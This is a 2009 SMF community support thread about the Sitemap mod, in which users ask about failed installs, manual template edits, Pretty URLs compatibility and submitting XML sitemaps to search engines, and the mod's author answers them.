Title: Re: Sitemap
Post by: SlammedDime on July 25, 2009, 05:54:57 PM
Means the mod was installed twice.  You'll have to go through and remove the duplicate code.
Title: Re: Sitemap
Post by: TheListener on July 25, 2009, 06:01:20 PM
The error was sorted thanks SD

How do I get it to show on the forums theme?

All the edits were made.
Title: Re: Sitemap
Post by: SlammedDime on July 25, 2009, 06:11:00 PM
You're 100% positive you made the edit to index.template.php?  It shows at the very bottom next to the copyright, and looking at your theme, it doesn't appear you've made the edit to that file.
Title: Re: Sitemap
Post by: TheListener on July 25, 2009, 06:43:01 PM
Not sure how but the sitemap and other mods which vanished have appeared again.

With my index template php if I I added a 2 to the files name and everything reappeared. Take the number away and everything disappears.
Title: Re: Sitemap
Post by: Owdy on July 26, 2009, 04:40:17 AM
How can i remove that index.php?action=sitemap;sa=topics link from user interface? That theme file is unusual, so i don't know how to edit this.

edit: got it. Its in sources....
Title: Re: Sitemap
Post by: docprego on August 04, 2009, 05:25:07 AM
I had Pretty URL's installed and that was working fine, then I installed sitemap.  I thought everything was working properly but then realized the URL's inside the XML sitemap were not pretty, here's an example:  http://netflixforums.com/index.php?topic=39.0

So I figured I would try uninstalling pretty URL's and reinstalling it.  That did not solve the problem.  Then I noticed my sitemap was no longer at the same URL it was before I uninstalled and reinstalled pretty URL's.  It was previously at http://netflixforums.com/index.php?&action=sitemap now it is at http://netflixforums.com/sitemap/

My XML sitemap is at http://netflixforums.com/sitemap/?xml

So my questions are the following:

1. Which sitemap link do I submit to google for indexing?  Is it http://netflixforums.com/sitemap/?xml  ??

2. If I submit the XML sitemap as it currently is without the pretty URL's, what will happen?

3. How can I fix the URL's inside the XML sitemap so that they are pretty?

Thank you
Title: Re: Sitemap
Post by: SlammedDime on August 04, 2009, 05:49:16 AM
1) if you have pretty urls installed, either

2) Not sure, haven't really looked into it...

3) There are quite a few posts in this topic on that... if you're using SMF 1.1.10, there appears to be a bug that I have to work out.  If using SMF 2.0, look at the last few pages, at a couple of solutions posted.  I plan on releasing an update to the mod shortly that should fix both (I originally said I wouldn't continue developing for the 1.1.x line, however I am going to toss that statement into the trash and fix it up a bit).
Title: Re: Sitemap
Post by: docprego on August 04, 2009, 06:01:20 AM
Quote from: SlammedDime on August 04, 2009, 05:49:16 AM
1) if you have pretty urls installed, either

2) Not sure, haven't really looked into it...

3) There are quite a few posts in this topic on that... if you're using SMF 1.1.10, there appears to be a bug that I have to work out.  If using SMF 2.0, look at the last few pages, at a couple of solutions posted.  I plan on releasing an update to the mod shortly that should fix both (I originally said I wouldn't continue developing for the 1.1.x line, however I am going to toss that statement into the trash and fix it up a bit).

Thank you for the quick response and for the terrific mod.  I read the last 24 pages and saw a lot of mention of this but no solution as I am running SMF 1.1.10.

Also in reply to question #1 above you said I could submit either, I am unclear what this is referring to.

When do you expect the fixed version to be available?

Thanks again
Title: Re: Sitemap
Post by: SlammedDime on August 04, 2009, 06:36:35 AM
Not sure... I'd like to say soon, it's just a matter of finding the time right now...  I have a side project I'm working on, but may put that aside to update all of my mods over the course of the next 2 weeks.
Title: Re: Sitemap
Post by: Vant@ge on August 06, 2009, 02:20:21 PM
hi all,

first, I'm sorry for my bad english level.

When I want to apply the Mod, inteh "Install Actions" box, I have this:

Type Action Description
1. Execute Code add_settings.php 
2. Execute Modification ./index.php Test successful
3. Execute Modification ./Sources/ModSettings.php Test successful
4. Execute Modification ./Themes/default/index.template.php Test successful
5. Execute Modification ./Themes/default/languages/Help.english.php Test successful
6. Execute Modification ./Themes/default/languages/Modifications.english.php Test successful
7. Execute Modification ./Themes/default/languages/Who.english.php Test successful
8. Execute Modification ./Themes/default/style.css Test successful
9. Execute Modification ./Themes/default/languages/Help.french.php Test successful
10. Execute Modification ./Themes/default/languages/Modifications.french.php Test successful
11. Execute Modification ./Themes/default/languages/Who.french.php Test failed  
12. Extract File ./Sources/Sitemap.php 
13. Extract File ./Themes/default/Sitemap.template.php

Can you tell me where is the probleme, and how can I resolve it ?

Thx ;)


Title: Re: Sitemap
Post by: SlammedDime on August 06, 2009, 02:28:11 PM
for some reason or another, it won't install on Who.french.php... you'll have to manually make the changes to that file.
Title: Re: Sitemap
Post by: Vant@ge on August 06, 2009, 02:32:59 PM
Quote from: SlammedDime on August 06, 2009, 02:28:11 PM
for some reason or another, it won't install on Who.french.php... you'll have to manually make the changes to that file.

ok, thx :D
dont hit me  :D but... how can I do that ?   ???
(I'm a noob  ;D )
Title: Re: Sitemap
Post by: Vant@ge on August 06, 2009, 03:34:23 PM
If I anderstand well, I've to modify the Who.french.php file, but what have I to putt in it ?
Title: Re: Sitemap
Post by: SlammedDime on August 06, 2009, 05:29:25 PM
You can look at the manual parse instructions at the same place you downloaded the mod from: http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=56472;smf_version=1.1.10
Title: Re: Sitemap
Post by: Vant@ge on August 06, 2009, 06:58:18 PM
Quote from: SlammedDime on August 06, 2009, 05:29:25 PM
You can look at the manual parse instructions at the same place you downloaded the mod from: http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=56472;smf_version=1.1.10

Thx a lot, you are very helpfull.
I will tell you if it was ok.

see you ;)
Title: Re: Sitemap
Post by: dedo on August 09, 2009, 06:57:15 AM
Does it work with SMF 1.1.10?
Title: Re: Sitemap
Post by: SlammedDime on August 09, 2009, 03:16:10 PM
Yes
Title: Re: Sitemap
Post by: argimiro on August 10, 2009, 03:08:25 PM
Quote
The sitemap for SMF 2 doesn't work with Pretty URLs at the moment.  If you check a few pages back, there were some suggestions on making it work.

I had a read back from page 50 onwards but couldn't see anything specific to try for SMF2 with PrettyURLs loaded, just wondered if there'd been any movement on that one?
Title: Re: Sitemap
Post by: SlammedDime on August 10, 2009, 03:22:43 PM
From Page 51
Quote from: sombra on June 03, 2009, 03:54:30 PM
any sugestions?

Quote from: Özgür´ on May 08, 2009, 12:48:32 AM
2.0 version of this mod not support pretty url (in xml)
So i try
find

echo '<?xml version="1.0" encoding="UTF-8"?>

add before


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

(this is your code in 1.x version )
And compatible now.

I have one question. Why Sitemap showing my recycle board topics?
Title: Re: Sitemap
Post by: argimiro on August 10, 2009, 03:48:50 PM
Thanks. Am I blind or what  :-X   ;D

Sorry to be a pain but which file should I look in - tried searching for

Quote
echo '<?xml version="1.0" encoding="UTF-8"?>

in /Sources/PrettyURLs.php and /Sources/Sitemap.php but couldn't match it?

I'm using the sitemap_2.0.0.tar.gz

[edit again]

ahh - Sitemap.template.php - sorted, 2 thumbs up. Works now :)
Title: Re: Sitemap
Post by: kai920 on August 16, 2009, 10:32:45 AM
Quote from: SlammedDime on February 22, 2009, 03:45:45 PM
This mod does not create a sitemap.xml file, please re-read the readme as well as the mod's download page... i'll quote here also...

QuoteIf your forum is in a subdirectory of your site, say http://www.mysite.com/forum, (http://www.mysite.com/forum,) then you will need to create a .htaccess file, or add to one already in your root directory, that contains the following:

   RewriteEngine on
   RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

and replace /forum above with the directory of your SMF installation.  Then you will be able to access the sitemap from http://www.myurl.com/sitemap.xml. (http://www.myurl.com/sitemap.xml.)

Yours is just just fine the way it is and there is no need to use mod_rewrite to imitate a sitemap.xml file.

I just noticed the bit about using htaccess to remap sitemap.xml.

My forum is in a subdirectory (/forums)

I submitted my XML (forums/index.php?action=sitemap;xml) to Google and the status shows "ok" with 600+ URLs indexed so far. Should I redirect and resubmit (http://www.google.com/support/webmasters/bin/answer.py?answer=34609) mydomain.com/sitemap.xml to /forums/index.php?action=sitemap;xml ?

Title: Re: Sitemap
Post by: SlammedDime on August 16, 2009, 02:15:09 PM
There's no need.  It appears that google has changed their policy on where sitemaps can reside.  I've already corrected this in the readme when I release the next version.
Title: Re: Sitemap
Post by: kai920 on August 16, 2009, 10:49:23 PM
Cool, thanks.

BTW, are there any sites you'd recommend we submit the XML file to besides Google Webmasters?
Title: Re: Sitemap
Post by: SlammedDime on August 16, 2009, 10:50:49 PM
Not really... might want to search google to see where you can submit xml files for sitemaps.
Title: Re: Sitemap
Post by: beltazar on August 17, 2009, 04:33:24 PM
i use smf2, i got this error


Installing this package will perform the following actions:
Type   Action   Description
1.   Execute Code   add_settings.php   
   2.   Execute Modification   ./index.php   Test successful
   3.   Execute Modification   ./Sources/Admin.php   Test failed
   1.   Add After   ./Sources/Admin.php   Test failed
   4.   Execute Modification   ./Sources/ManageSettings.php   Test failed
   1.   Add After   ./Sources/ManageSettings.php   Test successful
   2.   Add After   ./Sources/ManageSettings.php   Test failed
   3.   Add Before   ./Sources/ManageSettings.php   Test successful
   5.   Execute Modification   ./Themes/default/index.template.php   Test successful
   6.   Execute Modification   ./Themes/default/languages/Help.english.php   Test successful
   7.   Execute Modification   ./Themes/default/languages/Modifications.english.php   Test successful
   8.   Execute Modification   ./Themes/default/languages/Who.english.php   Test successful
9.   Extract File   ./Sources/Sitemap.php   
10.   Extract File   ./Themes/default/Sitemap.template.php
Title: Re: Sitemap
Post by: SlammedDime on August 17, 2009, 04:39:54 PM
Sounds like you have another mod installed that screwed up those files... can you post Admin.php and ManageSettings.php
Title: Re: Sitemap
Post by: Naveeddil on August 18, 2009, 12:55:48 PM
Hello dear all!!!
I had installed it weeks ago
but it didnt working (i cant see sitemap nor and Options of it)
now i wish to check for error so i tried to uninstall it but there is no Uninstall option in Packages (i can see only LIST FILES & DELETE)
.
im using SMF 1.1.10 and install v2.0.0 of sitemap

Any help please
Title: Re: Sitemap
Post by: TheListener on August 18, 2009, 12:58:23 PM
If you wish to uninstall the mod then you will have to do so manually.
Title: Re: Sitemap
Post by: SlammedDime on August 18, 2009, 03:56:52 PM
Quote from: Naveeddil on August 18, 2009, 12:55:48 PM
Hello dear all!!!
I had installed it weeks ago
but it didnt working (i cant see sitemap nor and Options of it)
now i wish to check for error so i tried to uninstall it but there is no Uninstall option in Packages (i can see only LIST FILES & DELETE)
.
im using SMF 1.1.10 and install v2.0.0 of sitemap

Any help please
Please re-read the download page, 2.0.0 is NOT for SMF 1.1.x
Title: Re: Sitemap
Post by: kai920 on August 18, 2009, 10:05:07 PM
Quote from: SlammedDime on August 16, 2009, 10:50:49 PM
Not really... might want to search google to see where you can submit xml files for sitemaps.

I found these:

Bing
http://www.bing.com/toolbox/webmasters/?FORM=Z9LH1

Yahoo (not sure how useful this is anymore)
https://siteexplorer.search.yahoo.com/submit

Ask.com
http://submissions.ask.com/ping?sitemap=http://your_xml_sitemap
(it didn't like /forums/index.php?action=sitemap;xml so I submitted the redirected sitemap.xml)
Title: Re: Sitemap
Post by: Naveeddil on August 19, 2009, 06:08:52 AM
Hello Dear (s)!!!
i have un installed v2 and re install 1.2.2
it is sowing a site map but the problem is that
inside FORUM and topics pages it shows the SITEMAP  links at the center of the page as can be seen in Attachments
while i want it to add to the links in pages (see in header image)

Thanks and Advance for help
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2009, 03:46:23 PM
Did you manually install?  If so, you installed the sitemap link to the wrong spot.  It is supposed to go in the footer (template_body_below()) next to the copyright() function call.

If you really want it in the main menu (which is not a normal place for a sitemap link), look at this: http://docs.simplemachines.org/index.php?topic=564
Title: Re: Sitemap
Post by: CR Forum on August 19, 2009, 04:55:21 PM
Hi

I need some urgent help with the site map mod. My site map shows fine at http://clinicalresearchforum.com/index.php?action=sitemap (http://clinicalresearchforum.com/index.php?action=sitemap) but the xml fine is giving error. When I load the xml in firefox I get the following:

XML Parsing Error: junk after document element
Location: http://clinicalresearchforum.com/index.php?action=sitemap;xml (http://clinicalresearchforum.com/index.php?action=sitemap;xml)
Line Number 27935, Column 1:<div id="cse-search-results"></div>
^

When I load it in Safari, I get the following

This page contains the following errors:

error on line 28235 at column 1: Extra content at the end of the document
Below is a rendering of the page up to the first error.

I tried researching but havent been able to help the situation until now. Any help i can get will be appreciated.
Thanks
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2009, 05:26:08 PM
Its because of all of this extra code on your site that is placed after </html>.  My guess is that all this code is in index.php, when it should be in index.template.php BEFORE </body>

If you didn't add the code, your host might have if you use a free host.  If you added it, you need to relocate to the proper position.  If you need help doing that, please create a topic in the proper support form.  This topic isn't the place for it.

<div id="cse-search-results"></div>
<script type="text/javascript">
  var googleSearchIframeName = "cse-search-results";
  var googleSearchFormName = "cse-search-box";
  var googleSearchFrameWidth = 800;
  var googleSearchDomain = "www.google.com";
  var googleSearchPath = "/cse";
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>

<!-- Start Quantcast tag -->
<script type="text/javascript">
_qoptions={
qacct:"p-d1VV6M6xm9gRI"
};

</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-d1VV6M6xm9gRI.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
<!-- End Quantcast tag -->

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-3524450-1");
pageTracker._trackPageview();
} catch(err) {}</script>
     


Title: Re: Sitemap
Post by: Naveeddil on August 20, 2009, 01:38:21 AM
Quote from: SlammedDime on August 19, 2009, 03:46:23 PM
Did you manually install?  If so, you installed the sitemap link to the wrong spot.  It is supposed to go in the footer (template_body_below()) next to the copyright() function call.


Okay
i fixed it by

Open index.template.php
Search
', theme_copyright(), '


Add After
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>


Thanks for your kind info and Help
Title: Re: Sitemap
Post by: grapelook on August 20, 2009, 04:51:00 AM
I also are searching for the problem.
Title: Re: Sitemap
Post by: Naveeddil on August 20, 2009, 07:21:16 AM
Quote from: grapelook on August 20, 2009, 04:51:00 AM
I also are searching for the problem.

which problem?
Title: Re: Sitemap
Post by: chrishicks on August 22, 2009, 05:15:56 AM
I went to install this and had a few install errors. I went to the package parser here and it won't let me parse it to see the manual edits. I then went to JBlaze's parser and uploaded there to see and this was returned:

ERROR: The package-info.xml file is invalid!

Debugging Information
Error message: String could not be parsed as XML
Source: /home/thedonmu/public_html/smfchat/dev/parser/index.php:136
Errors encountered while parsing XML file:

Stack Trace:
#0 /home/thedonmu/public_html/smfchat/dev/parser/index.php(136): SimpleXMLElement->__construct('')
#1 /home/thedonmu/public_html/smfchat/dev/parser/index.php(97): parsePackageInfoXML('/tmp/package-in...', 'install', 'all')
#2 /home/thedonmu/public_html/smfchat/dev/parser/index.php(794): parseArchive()
#3 {main}
Title: Re: Sitemap
Post by: SlammedDime on August 22, 2009, 06:36:33 AM
Use the parser on the mod site, it's much better and much more reliable.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fclip2net.com%2Fclip%2Fm18043%2F1250937379-clip-5kb.png&hash=a52d54c3fb7c9bfd0d0face6f675eb260c45e2e9)
Title: Re: Sitemap
Post by: chrishicks on August 22, 2009, 06:39:59 AM
"An Error Has Occurred!
Sorry, but the modification could not be parsed."

That's what I get using the parser on the mod site.
Title: Re: Sitemap
Post by: AaronInFL on August 23, 2009, 04:37:17 AM
Does this mod come with the option of putting in meta information, like for description and keywords for each page or url on your site?
Title: Re: Sitemap
Post by: narayanan on August 24, 2009, 12:32:43 AM
Sir,
  This is url where I have installed smf
www[dot]jamsam[dot[atbhost[dot]net/smf/index[dot]php
In bottom IT is showing a link sitemap.so If I click it,is being redirected to sitemap for my forum.In google webmaster tools how should I give my sitemap.Should I give it as sitemap.php or sitemap.xml.Kindly help me after visiting my website sir plz....
Title: Re: Sitemap
Post by: AaronInFL on August 24, 2009, 12:52:15 AM
Quote from: narayanan on August 24, 2009, 12:32:43 AM
Sir,
  This is url where I have installed smf
www[dot]jamsam[dot[atbhost[dot]net/smf/index[dot]php
In bottom IT is showing a link sitemap.so If I click it,is being redirected to sitemap for my forum.In google webmaster tools how should I give my sitemap.Should I give it as sitemap.php or sitemap.xml.Kindly help me after visiting my website sir plz....


Did you already place your site on google?  Only after that can you submit your sitemap.  My url was like this:

www.myurl.com/  <----that's also how it shows up on my google account, and all I had to put in when submitting the sitemap was this extension:

index.php?action=sitemap;xml   

which is the rest of the url when I clicked on the "xml" link from the sitemap of my website.
Title: Re: Sitemap
Post by: narayanan on August 24, 2009, 11:28:16 PM
Yes I submitted my url in google webmaster tools and also submitted my site map but getting error like like this

We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.

http://images.techindiaforum.com/images/qq4p7y8d9635letxj8f.jpg

I have attache the status of my sitemap.kindly help me.
Title: Re: Sitemap
Post by: SlammedDime on August 24, 2009, 11:51:45 PM
What errors does google say you have?  I don't see any problems with your sitemap.
Title: Re: Sitemap
Post by: narayanan on August 24, 2009, 11:56:24 PM
Sir I am new to this
This is the error I am getting.

We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.

and in status it is indiacating a red cross mark for my site map.
Title: Re: Sitemap
Post by: SlammedDime on August 25, 2009, 12:08:12 AM
In your google webmaster tools, you should be able to *click* on the sitemap/?xml link and it should give you detailed information about problems.

At this point, I don't see any errors with your sitemap... it's entirely possible that your site was down when google last tried to access it and therefore returned an error.
Title: Re: Sitemap
Post by: narayanan on August 25, 2009, 12:43:35 AM
OK thnx for the info.So there is no problem with my sitemap right.IF There is any problem with my sitemap it will notify you.Kindly help me.
Title: Re: Sitemap
Post by: kosty555 on August 25, 2009, 05:53:55 AM
When will work Manual Install Instructions?
Title: Re: Sitemap
Post by: bbmtalk on August 25, 2009, 01:59:02 PM
Quote from: chrishicks on August 22, 2009, 06:39:59 AM
"An Error Has Occurred!
Sorry, but the modification could not be parsed."

That's what I get using the parser on the mod site.


I am getting the same thing too. Any help?
Title: Re: Sitemap
Post by: SlammedDime on August 25, 2009, 03:05:47 PM
Odd... I'm not sure why that's happening... I even reuploaded the 2.0 version and it still does it.

I'll have to talk with Sleepy about that, but in the mean time you can manually open up the mod file and look at install.xml and follow the file to add your inserts.
Title: Re: Sitemap
Post by: ww898 on August 25, 2009, 06:06:29 PM
This mod always return topic url with the ".0" at the end. Sitemap always contain reference for first topic page. Other topic pages aren't crawled fast enough by search engines. So, site has got bad page rank.
Title: Re: Sitemap
Post by: SlammedDime on August 25, 2009, 06:23:43 PM
I think it's a pretty unfair assessment and an ignorant one at that to say that the sitemap only pointing to the first page of each topic gives your site a bad page rank.  The sitemap is only meant to make bots and visitors aware of what boards and topics exist on your site.  It will not guarantee your site to be crawled, or even indexed.  Perhaps you should do some research on page rank before spouting off non sense.  And pagerank really means nothing in the grand scheme of things... my PR for my personal site is only 1, yet I'm in the top 15 for over 75 different search queries related to the content on my site.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fclip2net.com%2Fclip%2Fm18043%2F1251238996-clip-3kb.png&hash=e04b58c9d7cc8e98681dc686a09ba6e22a43f75f)

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fclip2net.com%2Fclip%2Fm18043%2F1251238923-clip-26kb.png&hash=48f253dac42151e2ba71b18172bd5302ce1a6180)
Title: Re: Sitemap
Post by: narayanan on August 25, 2009, 10:19:16 PM
Yes you are right SlammedDime,Yesterday my site might be down.Thnx for the info but in google webmaster tools the status is ok...
Title: Re: Sitemap
Post by: neteater on August 26, 2009, 01:24:42 AM
 my site's forum is still not in google but other pges are there is there any problem with my site's forum's sitemap site is http://dlite.co.cc
Title: Re: Sitemap
Post by: SlammedDime on August 26, 2009, 01:28:41 AM
As I posted in your other topic, you need to get some real content onto your forum.

The sitemap does not promise to get you into google.  Read this topic.
Title: Re: Sitemap
Post by: neteater on August 26, 2009, 01:44:44 AM
ok i submitted my sitemap but its saying that sitempa is in html format not in xml from where i can convert it into xml
Title: Re: Sitemap
Post by: SlammedDime on August 26, 2009, 02:01:43 AM
click the XML link at the bottom of your sitemap
Title: Re: Sitemap
Post by: chrishicks on August 26, 2009, 02:16:23 AM
Quote from: neteater on August 26, 2009, 01:44:44 AM
ok i submitted my sitemap but its saying that sitempa is in html format not in xml from where i can convert it into xml

I see this displayed when checking XML on mine:

QuoteThis XML file does not appear to have any style information associated with it. The document tree is shown below.

I'm guessing that's not right? or is it?
Title: Re: Sitemap
Post by: SlammedDime on August 26, 2009, 02:20:57 AM
yes, that's correct.
Title: Re: Sitemap
Post by: chrishicks on August 26, 2009, 02:21:42 AM
OK, thanks.
Title: Re: Sitemap
Post by: AaronInFL on August 26, 2009, 04:37:11 AM
Quote from: SlammedDime on August 25, 2009, 06:23:43 PM
I think it's a pretty unfair assessment and an ignorant one at that to say that the sitemap only pointing to the first page of each topic gives your site a bad page rank.  The sitemap is only meant to make bots and visitors aware of what boards and topics exist on your site.  It will not guarantee your site to be crawled, or even indexed.  Perhaps you should do some research on page rank before spouting off non sense.  And pagerank really means nothing in the grand scheme of things... my PR for my personal site is only 1, yet I'm in the top 15 for over 75 different search queries related to the content on my site.

You are right.  I mean on the first 3 or 4 days, when I first submitted the sitemap to google, it would only crawl the first page of my website and never anything else.  But after like the 4th day, it started crawling the rest of my website and I checked my "spider log" on my forum to verify this.  I have not had any problems with this mod, as of now.
Title: Re: Sitemap
Post by: bbmtalk on August 26, 2009, 05:25:43 PM
I have 1.1.10 and try to install. Got the following message. Any help?

An Error Has Occurred!
The package you tried to upload either is not a valid package or has become corrupted. 
Title: Re: Sitemap
Post by: ww898 on August 28, 2009, 12:05:18 PM
Quote from: SlammedDime on August 25, 2009, 06:23:43 PM
I think it's a pretty unfair assessment and an ignorant one at that to say that the sitemap only pointing to the first page of each topic gives your site a bad page rank.  The sitemap is only meant to make bots and visitors aware of what boards and topics exist on your site.  It will not guarantee your site to be crawled, or even indexed.  Perhaps you should do some research on page rank before spouting off non sense.  And pagerank really means nothing in the grand scheme of things... my PR for my personal site is only 1, yet I'm in the top 15 for over 75 different search queries related to the content on my site.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fclip2net.com%2Fclip%2Fm18043%2F1251238996-clip-3kb.png&hash=e04b58c9d7cc8e98681dc686a09ba6e22a43f75f)

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fclip2net.com%2Fclip%2Fm18043%2F1251238923-clip-26kb.png&hash=48f253dac42151e2ba71b18172bd5302ce1a6180)
I understand your position. Hovewer, the sitemap helps google (for example) to understand which is the page change and which is not. So, google see that the topic is changed and download it. But the page is the same all the time! So, I think google assign lowest page rank for downloaded pages. See the picture.

P.S. Sorry for foreign language in picture, but I belive you know this picture.
Title: Re: Sitemap
Post by: hoodoola on September 04, 2009, 11:04:15 AM
i'm using SMF  1.1.10 version, and installed Pretty URLs   - 1.0RC . i tried to install the  - smf_sitemap_1.2.2.tar.gz (8KB), it shows error, the package is corrupted. i can't even upload it.  does anybody know which sitemap mod i could use?
or any suggestions? 
thank you
my website, http://forum.hoodoola.com
Title: Re: Sitemap
Post by: hoodoola on September 04, 2009, 04:05:38 PM
does anybody has any good sitemap generator for SMF  1.1.10 ?
Title: Re: Sitemap
Post by: olufemo on September 10, 2009, 09:38:27 AM
Is this sitemap mod compatible with SMF 2.0 RC1.2
Title: Re: Sitemap
Post by: funkenwerner on September 10, 2009, 01:49:21 PM
Quote from: hoodoola on September 04, 2009, 11:04:15 AM
i'm using SMF  1.1.10 version, and installed Pretty URLs   - 1.0RC . i tried to install the  - smf_sitemap_1.2.2.tar.gz (8KB), it shows error, the package is corrupted. i can't even upload it.  does anybody know which sitemap mod i could use?
or any suggestions? 
thank you
my website, http://forum.hoodoola.com

same problem hear...


help please
Title: Re: Sitemap
Post by: plusev on September 18, 2009, 01:23:48 PM
I tried the install on 2 rc1.2 using a custom theme. It generated one edit that needed to be done - adding the site map arrey to admin.php. My admin.php has been modified due to other mod so I'm not quite sure where I was supposed to put it. Apparently I didn't put it in the right place becuase I got the following error in my log and no sitemap:

232:                   // Note the comma!! The setting with automatically appear with the first mod to be added.                  
==>233:                   'sitemap' => array($txt['sitemap']),  
234: 
235:                   
236:                   'ultprofile' => array($txt['ultimate_profile']),
237:                ),
238:             ),
239: 
240:             'tags' => array(
241:                'label' => $txt['smftags_admin'],
242:                'file' => 'Tags2.php',
243:                'function' => 'TagsMain',
244:                'custom_url' => $scripturl . '?action=admin;area=tags;sa=admin',
245:                'icon' => 'server.gif',
246:                'subsections' => array(
247:                   'admin' => array($txt['smftags_settings']),
248:                ),
249:             ),




Please advise. Thx
Title: Re: Sitemap
Post by: SlammedDime on September 18, 2009, 04:38:14 PM
What is on line 231?
Title: Re: Sitemap
Post by: Dzonny on September 19, 2009, 01:42:43 PM
I'm sorry for bumping this, but i still have the same problem with nump and numt error like i've posted here:
http://www.simplemachines.org/community/index.php?topic=170813.msg2085362#msg2085362

Anyone? :-X
Title: Re: Sitemap
Post by: plusev on September 24, 2009, 12:31:58 AM
Quote from: SlammedDime on September 18, 2009, 04:38:14 PM
What is on line 231?

I worked out the issue. It was due to not displaying the sitemap text link correctly. Thx
Title: Re: Sitemap
Post by: whip_cracker on September 24, 2009, 01:35:00 AM
Sorry for the noob question... I tried searching and drilling through this thread, but can't find exactly what I'm after, or maybe just don't understand.

I'm not using the default template... I'm using what is called the "Rounded Default" template.

Just wondering - is there manual instructions on how to install this? a Parse (?)

I'm using SMF 1.1.10 on my website www.australianwhipcrackers.org

I'm currently using a .txt sitemap that Google suggested, but wouldn't mind having an xml sitemap instead.

If someone could please tell me what code to add to which .php file or something like that, that'd be fantastic :P

Thanks
Title: Re: Sitemap
Post by: robinrobin on September 24, 2009, 01:41:46 PM
So what's the actual purpose of the mod? To improve SEO ranking? How can that be done simple by adding a link to a sitemap? There's still an endless amount of unneeded text for search engines to pick up from a forum.

Wouldn't it be a good idea to also advice users to add the entire /forum/ folder as a Disallow in Robots.txt and then add the sitemap as the only Allow for the forum, as the sitemap is the only actual content that the spiders need to read, and then create some rule in the code that makes only spiders see the sitemap while visitors saw the forum index page?
Title: Re: Sitemap
Post by: SlammedDime on September 24, 2009, 05:21:21 PM
Quote from: whip_cracker on September 24, 2009, 01:35:00 AM
Sorry for the noob question... I tried searching and drilling through this thread, but can't find exactly what I'm after, or maybe just don't understand.

I'm not using the default template... I'm using what is called the "Rounded Default" template.

Just wondering - is there manual instructions on how to install this? a Parse (?)

I'm using SMF 1.1.10 on my website www.australianwhipcrackers.org

I'm currently using a .txt sitemap that Google suggested, but wouldn't mind having an xml sitemap instead.

If someone could please tell me what code to add to which .php file or something like that, that'd be fantastic :P

Thanks
On the download page for the mod, you can click on the radio button next to the version for your SMF version, select your SMF version from the drop down, then click on Parse to view all manual instructions.

Quote from: robinrobin on September 24, 2009, 01:41:46 PM
So what's the actual purpose of the mod? To improve SEO ranking? How can that be done simple by adding a link to a sitemap? There's still an endless amount of unneeded text for search engines to pick up from a forum.

Wouldn't it be a good idea to also advice users to add the entire /forum/ folder as a Disallow in Robots.txt and then add the sitemap as the only Allow for the forum, as the sitemap is the only actual content that the spiders need to read, and then create some rule in the code that makes only spiders see the sitemap while visitors saw the forum index page?
Perhaps you really don't understand the purpose of a sitemap?  The purpose of a sitemap is to make visitors (and bots) aware of the content that exists on your site.  That's exactly what this does... provides an XML based sitemap that can be used to submit to search engines that contains links to boards and topics, their last update time, and their priority (how often their updated vs how old they are).  It also provides a visual interface for users to view all boards at once, including all child boards, and also a listing of topics, showing 1 perpage, which also allows crawlers to pick up links there.

Also, the sitemap is far from the only content a spider needs to read... it needs to read the actual content of pages to determine whether or not it's worth indexing, and if it does index, it needs that content to provide worth while search results.  disallowing the entire '/forum/' folder would be a very bad idea that would surely PREVENT you from being indexed at all, even with a sitemap.

It's also against google's policy, and probably others, to show different content to spiders vs humans, and can easily get you blacklisted and again, PREVENT you from being indexed.

A Sitemap is not a tool to improve SEO ranking, it is a tool to make search engines aware of the various pages of your site, rather than it having to crawl itself to find all of the pages.
Title: Re: Sitemap
Post by: whip_cracker on September 24, 2009, 07:12:15 PM
Quote from: SlammedDime on September 24, 2009, 05:21:21 PM
Quote from: whip_cracker on September 24, 2009, 01:35:00 AM
Sorry for the noob question... I tried searching and drilling through this thread, but can't find exactly what I'm after, or maybe just don't understand.

I'm not using the default template... I'm using what is called the "Rounded Default" template.

Just wondering - is there manual instructions on how to install this? a Parse (?)

I'm using SMF 1.1.10 on my website www.australianwhipcrackers.org

I'm currently using a .txt sitemap that Google suggested, but wouldn't mind having an xml sitemap instead.

If someone could please tell me what code to add to which .php file or something like that, that'd be fantastic :P

Thanks
On the download page for the mod, you can click on the radio button next to the version for your SMF version, select your SMF version from the drop down, then click on Parse to view all manual instructions.


Ahhh rightio... I thought I tried looking there before and it didn't have that, musta been looking at another mod at the same time. Thanks.

From what I can see... this sitemap just puts all boards into one section so a crawler can see it all in one fell swoop rather than having to check every single page? Basically doing the crawlers a favour I guess? Not a bad idea. If I can implement it on my board then I'll be happy :)
Title: Re: Sitemap
Post by: robinrobin on September 27, 2009, 02:16:21 PM
Is it possible to add articles from SMF Articles mod to the sitemap? Does that require a lot of coding or is it just a matter of copying and pasting a little?

If it's not, could you perhaps help out with the code for how to make the articles' addresses more likely to be picked up by Google via the htaccess file?

RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

If that's the rule for the sitemap, it must be possible to add these three examples as well:

/forum/index.php?action=articles
/forum/index.php?action=articles;cat=X
/forum/index.php?action=articles;sa=view;article=X

But how do you make the numbers (X) into wildcards?
